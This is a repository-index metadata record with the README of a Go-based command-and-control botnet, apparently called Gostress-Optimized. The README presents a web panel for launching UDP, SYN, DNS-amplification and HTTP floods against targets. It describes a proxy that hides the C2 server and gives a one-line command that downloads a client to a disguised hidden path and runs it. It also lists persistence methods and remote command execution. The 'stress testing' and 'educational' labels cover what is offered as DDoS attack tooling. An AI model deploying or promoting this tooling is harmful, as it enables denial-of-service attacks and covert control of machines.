{"id":29363094,"url":"https://github.com/1birdo/gostress-optimized","last_synced_at":"2025-07-09T09:45:35.562Z","repository":{"id":303122467,"uuid":"1014478108","full_name":"1Birdo/Gostress-Optimized","owner":"1Birdo","description":"Just a Cleaner and Updated version of Gostress-Enhanced, Everything Implemented ","archived":false,"fork":false,"pushed_at":"2025-07-05T20:51:22.000Z","size":139,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-07-05T21:20:34.743Z","etag":null,"topics":["audited","botnet","c2","client","ddos","ddos-attacks","development","framework","golang","mirai","proxy","stress","stress-testing","stressersource","stressing","user-management","web-dashboard","web-ui","website"],"latest_commit_sha":null,"homepage":"https://Birdo.uk","language":"HTML","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/1Birdo.png","metadata":{"files":{"readme":"README.md","changelog":"history.log","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-07-05T20:02:03.000Z","updated_at":"2025-07-05T20:51:47.000Z","dependencies_parsed_at":"2025-07-05T21:20:58.187Z","dependency_job_id":"493d48f8-640b-41f1-89e1-91e7d34bf8b7","html_url":"https://github.com/1Birdo/Gostress-Optimized","commit_stats":null,"previous_names":["1birdo/gostress-optimized"],"tags_count":1,"template":false,"template_full_name":null,"purl":"pkg:github/1Birdo/Gostress-Optimized","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/1Birdo%2FGostress-Optimized","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/1Birdo%2FGostress-Optimized/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/1Birdo%2FGostress-Optimized/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/1Birdo%2FGostress-Optimized/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/1Birdo","download_url":"https://codeload.github.com/1Birdo/Gostress-Optimized/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/1Birdo%2FGostress-Optimized/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264433685,"owners_count":23607668,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["audited","botnet","c2","client","ddos","ddos-attacks","development","framework","golang","mirai","proxy","stress","stress-testing","stressersource","stressing","user-management","web-dashboard","web-ui","website"],"created_at":"2025-07-09T09:45:30.115Z","updated_at":"2025-07-09T09:45:35.553Z","avatar_url":"https://github.com/1Birdo.png","language":"HTML","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n## Overview\n*This is a lightweight, web-based Command and Control C2 with stress testing capabilities using external Devices or Servers. It allows operators to manage Clients, monitor activity, and perform a variety of network stress test methods through a secure interface.*\n\n\u003ctable\u003e\n  \u003ctr\u003e\n    \u003ctd\u003e\u003cimg src=\"https://github.com/user-attachments/assets/7b8e0653-1178-4499-bea2-b1340260ada6\" width=\"100%\"/\u003e\u003c/td\u003e\n    \u003ctd\u003e\u003cimg src=\"https://github.com/user-attachments/assets/1d5f58d1-2c5d-4a82-b203-88f5e1a5e4bc\" width=\"100%\"/\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n  \u003ctr\u003e\n    \u003ctd\u003e\u003cimg src=\"https://github.com/user-attachments/assets/948fb62d-5861-4963-8c15-ee110c31e21d\" width=\"100%\"/\u003e\u003c/td\u003e\n    \u003ctd\u003e\u003cimg src=\"https://github.com/user-attachments/assets/736a91e2-4c10-439e-9bf7-128ec9ee7841\" width=\"100%\"/\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n\u003c/table\u003e\n\n## 🔁 TLS Proxy Module\n\n*The TLS Proxy module enables encrypted traffic forwarding between Clients and the C2 server. This acts as a secure Third-party, offering stealth, traffic redirection, and flexible network deployment strategies.*\n\nHopefully to have P2P + load-balancing capabilites Implemented soon\n\n---\n    Just a fake page to display for the proxy you can server a php status page or something if needed,\n    just a index.hmtl at the moment\n\u003ctable\u003e\n  \u003ctr\u003e\n    \u003ctd\u003e\u003cimg src=\"https://github.com/user-attachments/assets/ecfd42c3-d606-4058-b945-3dd82b72ee77\" width=\"100%\"/\u003e\u003c/td\u003e\n  \u003c/tr\u003e\n\u003c/table\u003e\n\n### 🌐 Purpose\n*The proxy listens for incoming TLS connections from Client and securely forwards traffic to the core C2 server. This provides:*\n- **Obfuscation** of real C2 infrastructure\n- **Traffic rerouting** through dedicated relay / offshore nodes\n- **Flexible deployment** across cloud or on-prem infrastructure\n\n---\n\n### 🔧 Configuration (`proxy.go`)\n| Constant         | Description                        | Default Value           |\n|------------------|------------------------------------|-------------------------|\n| `PROXY_LISTEN`   | Interface and port to listen on     | `0.0.0.0:7003`          |\n| `SERVER_ADDR`    | Target C2 server address/port       | `192.168.1.50:7002`     |\n| `CONNECT_TIMEOUT`| Timeout when connecting to server   | `10s`                   |\n| `IO_TIMEOUT`     | I/O read/write timeout              | `30s`                   |\n| `CERT_FILE`      | TLS certificate file                | `server.crt`            |\n| `KEY_FILE`       | TLS private key file                | `server.key`            |\n\n---\n\n### 🛠 How It Works\n1. Proxy starts and listens for TLS connections on the configured IP/port.\n2. Once a Client connects, the proxy attempts a secure connection to the backend C2 server.\n3. After both ends are connected, the proxy begins full-duplex communication using `io.Copy()`.\n4. This allows for secure communication and a hidden entry point towards the C2 server\n---\n\n### ✅ Usage\nBuild and run:\n```bash\ngo build -o proxy proxy.go\n./proxy\n```\nYou will need to provide the certificates for this to work.\n\n## Features \n### All the same as Gostress just no Geolocation and a fully working dashboard with optimised code\n\n### ✅ Web-Based Interface\n- Real-time Client monitoring\n- Attack control panel\n- User management system\n- Attack history tracking\n\n### 🚀 Stress Testing Modules\n- UDP Flood\n- TCP Flood\n- SYN Flood\n- ACK Flood\n- GRE Flood\n- DNS Amplification\n- HTTP Flood\n\n### 🧠 Client Management\n- Auto Client connection handling\n- Heartbeat \u0026 status monitoring\n- Hardware resource reporting\n- Remote command execution\n\n### 🔐 Security\n- Challenge-response authentication\n- TLS encrypted communication\n- Session \u0026 password management\n- Enforced password complexity\n---\n\n## Installation\n\n### Quick Setup\n\n1. **Clone the repository**\n   ```bash\n   git clone https://github.com/1Birdo/Gostress-Optimized.git\n   cd Gostress-Optimized\n   ```\n\n2. **Build server and Client**\n   ```bash\n   go build -o server main.go\n   go build -o bot bot.go\n   ```\n\n3. **Run the server**\n   ```bash\n   ./server\n   ```\n\n5. **Deploy clients to desired systems**\n\n   ```bash\n   You can decide how you want to access and deploy your client to the systems you own either 'scp' or a python http module or other methods.\n   ```\n---\n\n## Configuration\n\n### Server Settings (`main.go`)\n```go\nconst (\n    USERS_FILE      = \"users.json\"\n    BOT_SERVER_IP   = \"0.0.0.0\"\n    BOT_SERVER_PORT = \"7003\"\n    WEB_SERVER_IP   = \"0.0.0.0\"\n    WEB_SERVER_PORT = \"443\"\n    CERT_FILE       = \"server.crt\"\n    KEY_FILE        = \"server.key\"\n)\n```\n\n### Client Settings (`Client.go`)\n```go\nconst (\n    C2Address = \"your.server.ip:7003\"\n)\n```\n\n---\n\n## Usage\n\n### Web Dashboard\n- Visit: `https://your-server-ip`\n- Default Login:\n  - **Username**: `root`\n  - **Password**: *(auto-generated, shown on first run)*\n\n### Manage Client\n- View all connected Client and their statuses\n- Access detailed hardware/resource reports\n- Execute remote commands\n\n### Launch Attacks\n1. Select a method\n2. Enter target details\n3. Define duration\n4. Click **\"Initiate Attack Sequence\"**\n\n### Manage Users\n- Create, delete, or modify users (Admin role only)\n\n---\n\n## Deployment Options\n\n### Linux Client Deployment\n```bash\ncurl http://your-server-ip/Client -o /tmp/.systemd \u0026\u0026 chmod +x /tmp/.systemd \u0026\u0026 /tmp/.systemd\n```\n\n### Persistence Methods\n- Systemd service\n- Cron job\n- File lock to prevent deletion\n\n---\n\n## Troubleshooting\n\n### Clients not connecting?\n- Double-check `C2Address` in the Client binary\n- Ensure server ports are open and listening\n- Review firewall or security group settings\n\n### Web interface not loading?\n- Verify SSL certificate paths\n- Confirm port 443 is accessible\n- Check server logs for errors\n\n### Attacks not effective?\n- Confirm target IP/hostname and port\n- Ensure Clients are online\n- Verify method compatibility\n\n---\n\n## Security Best Practices\n⚠️ **Important:**\n- Change the default `root` password immediately\n- Use strong, unique passwords for all users\n- Restrict dashboard access (VPN, firewall, etc.)\n- Keep the system and Go packages updated\n- Regularly audit Clients activity and logs\n\n---\n\n## License\n**For educational and research purposes only.**  \nThe authors are **not responsible** for any misuse or unauthorized use of this tool.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F1birdo%2Fgostress-optimized","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F1birdo%2Fgostress-optimized","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F1birdo%2Fgostress-optimized/lists"}